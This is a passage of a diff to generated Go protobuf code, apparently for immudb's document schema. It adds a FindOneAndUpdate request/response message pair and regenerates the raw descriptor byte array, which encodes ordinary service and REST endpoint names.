DocumentFindOneAndUpdateRequest.ProtoReflect.Descriptor instead. +func (*DocumentFindOneAndUpdateRequest) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{27} +} + +func (x *DocumentFindOneAndUpdateRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentFindOneAndUpdateRequest) GetQuery() []*DocumentQuery { + if x != nil { + return x.Query + } + return nil +} + +func (x *DocumentFindOneAndUpdateRequest) GetDocument() *structpb.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentFindOneAndUpdateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` +} + +func (x *DocumentFindOneAndUpdateResponse) Reset() { + *x = DocumentFindOneAndUpdateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[28] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentFindOneAndUpdateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentFindOneAndUpdateResponse) ProtoMessage() {} + +func (x *DocumentFindOneAndUpdateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[28] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentFindOneAndUpdateResponse.ProtoReflect.Descriptor instead. +func (*DocumentFindOneAndUpdateResponse) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{28} +} + +func (x *DocumentFindOneAndUpdateResponse) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + +func (x *DocumentFindOneAndUpdateResponse) GetRevision() uint64 { + if x != nil { + return x.Revision + } + return 0 +} + var File_documentschema_proto protoreflect.FileDescriptor var file_documentschema_proto_rawDesc = []byte{ @@ -1902,138 +2020,168 @@ var file_documentschema_proto_rawDesc = []byte{ 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, - 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, - 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, - 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, - 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, - 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xf3, - 0x0d, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, - 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, - 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x64, 0x22, 0xb2, 0x01, 0x0a, 0x1f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, + 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, - 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x64, 0x0a, 0x20, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x46, 0x69, 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, + 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, + 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, + 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, + 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, + 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xb7, 0x0f, 0x0a, 0x0f, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, - 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, - 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 